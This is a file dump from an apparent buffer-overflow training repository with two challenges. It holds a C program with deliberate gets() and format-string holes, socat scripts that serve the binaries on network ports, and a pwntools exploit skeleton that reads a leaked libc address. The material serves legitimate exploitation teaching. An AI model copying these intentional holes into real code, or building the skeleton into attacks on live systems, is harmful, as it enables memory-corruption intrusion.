https://raw.githubusercontent.com/Caesurus/how2bof/a865d6f05a74d5a9463e4726bea54151c79ab338/bof5/libc.so.6 -------------------------------------------------------------------------------- /bof5/runit.sh: -------------------------------------------------------------------------------- 1 | socat tcp-listen:4005,fork,tcpwrap=script exec:"./bof5" 2 | -------------------------------------------------------------------------------- /bof5/step1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | print(r.recvuntil(b"overflow me:")) 10 | 11 | #-------------------------------------------------------------------------- 12 | if __name__ == "__main__": 13 | 14 | parser = argparse.ArgumentParser(description='Exploit the bins.') 15 | parser.add_argument('--dbg' , '-d', action="store_true") 16 | args = parser.parse_args() 17 | exe = './bof5' 18 | 19 | libc_path = '/lib/i386-linux-gnu/libc.so.6' 20 | libc = ELF(libc_path) 21 | 22 | if args.dbg: 23 | r = gdb.debug([exe], """ 24 | b *func 25 | continue 26 | """) 27 | else: 28 | r = process(exe) 29 | 30 | r.recvuntil(b'stdin: 0x') 31 | leak_stdin = int(r.recvuntil('\n')[:-1],16) 32 | print("We have %s as a leak" %hex(leak_stdin)) 33 | wait_for_prompt(r) 34 | 35 | 36 | # Drop to interactive console 37 | r.interactive() 38 | 39 | -------------------------------------------------------------------------------- /bof6/README.md: -------------------------------------------------------------------------------- 1 | # bof6 2 | 3 | This challenge introduces the concept of RELRO and stack protectors/canaries/guards. It also requires return to libc (ret2libc), and working around ASLR. 4 | 5 | Steps to solve: 6 | < To do > 7 | Some gotcha's here are: 8 | < To do > 9 | Write-up will come later 10 | -------------------------------------------------------------------------------- /bof6/bof6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Caesurus/how2bof/a865d6f05a74d5a9463e4726bea54151c79ab338/bof6/bof6 -------------------------------------------------------------------------------- /bof6/bof6.c: -------------------------------------------------------------------------------- 1 | // $ gcc -g -fstack-protector-all -Wl,-z,relro,-z,now -m32 bof6.c -o bof6 2 | // Relevant paper: https://www.exploit-db.com/docs/28553.pdf 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #define BUFSIZE 64 9 | char name[BUFSIZE]; 10 | 11 | void func(void) 12 | { 13 | char overflowme[64]; 14 | 15 | printf("overflow me:"); 16 | gets(overflowme); // smash me! 17 | 18 | } 19 | 20 | void main(int argc, char* argv[]) 21 | { 22 | setvbuf(stdin, 0, 2, 0); 23 | setvbuf(stdout, 0, 2, 0); 24 | memset(name, 0, 64); 25 | printf("What's your name? I need this so I can mock you later!!!\nName: "); 26 | read(0, name, BUFSIZE); 27 | printf("Hi there "); printf(name); 28 | 29 | func(); 30 | 31 | printf("\nMUHAHAHA, %s can't get a shell!!!\nTry again!", name); 32 | return; 33 | } 34 | 35 | -------------------------------------------------------------------------------- /bof6/flag: -------------------------------------------------------------------------------- 1 | flag{test_flag_for_chall} 2 | -------------------------------------------------------------------------------- /bof6/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Caesurus/how2bof/a865d6f05a74d5a9463e4726bea54151c79ab338/bof6/libc.so.6 -------------------------------------------------------------------------------- /bof6/runit.sh: -------------------------------------------------------------------------------- 1 | socat tcp-listen:4006,fork,tcpwrap=script exec:"./bof6" 2 | --------------------------------------------------------------------------------